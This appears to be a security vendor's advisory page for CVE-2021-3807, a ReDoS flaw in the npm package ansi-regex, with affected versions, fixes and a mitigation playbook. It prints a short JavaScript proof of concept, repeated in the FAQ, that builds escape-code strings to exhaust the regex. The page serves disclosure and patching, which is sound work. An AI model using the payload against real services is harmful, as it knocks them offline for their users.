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GHSA-93q8-gq69-wqmw

HIGH

Inefficient Regular Expression Complexity in chalk/ansi-regex

Also known asCVE-2021-3807
Published
Sep 20, 2021
Updated
Feb 4, 2026
Affected
4 pkgs
Patched
4 / 4
Exploits
1 known

EPSS Exploitation Probability

via FIRST.org ↗
3.6%probability of exploitation in next 30 days
Lower Risk88th percentile+0.25%
0.00%1.53%3.05%4.58%0.1%3.6%Jan 26May 26Jul 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

4 pkgs affected
📦ansi-regex📦ansi-regex📦ansi-regex📦ansi-regex

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.

Description

ansi-regex is vulnerable to Inefficient Regular Expression Complexity which could lead to a denial of service when parsing invalid ANSI escape codes.

Proof of Concept

import ansiRegex from 'ansi-regex';
for(var i = 1; i <= 50000; i++) {
    var time = Date.now();
    var attack_str = "\u001B["+";".repeat(i*10000);
    ansiRegex().test(attack_str)
    var time_cost = Date.now() - time;
    console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}

The ReDOS is mainly due to the sub-patterns [[\\]()#;?]* and (?:;[-a-zA-Z\\d\\/#&.:=?%@~_]*)*

Affected Packages

4 total 4 fixed
EcosystemPackageVulnerable rangeFix
📦npmansi-regex6.0.0&&< 6.0.16.0.1
📦npmansi-regex5.0.0&&< 5.0.15.0.1
📦npmansi-regex4.0.0&&< 4.1.14.1.1
📦npmansi-regex3.0.0&&< 3.0.13.0.1
Exploits & PoCs
1

Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for ansi-regex. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update ansi-regex to 6.0.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-93q8-gq69-wqmw is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-93q8-gq69-wqmw is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-93q8-gq69-wqmw. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

ansi-regex is vulnerable to Inefficient Regular Expression Complexity which could lead to a denial of service when parsing invalid ANSI escape codes. **Proof of Concept** ```js import ansiRegex from 'ansi-regex'; for(var i = 1; i <= 50000; i++) { var time = Date.now(); var attack_str = "\u001B["+";".repeat(i*10000); ansiRegex().test(attack_str) var time_cost = Date.now() - time; console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms") } ``` The ReDOS is mainly due to the sub-patterns `[[\\]()#;?]*` and `(?:;[-a-zA-Z\\d\\/#&.:=?%@~_]*)*`
O3 Security · Impact-Aware SCA

Is GHSA-93q8-gq69-wqmw in your dependencies?

O3 detects GHSA-93q8-gq69-wqmw across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.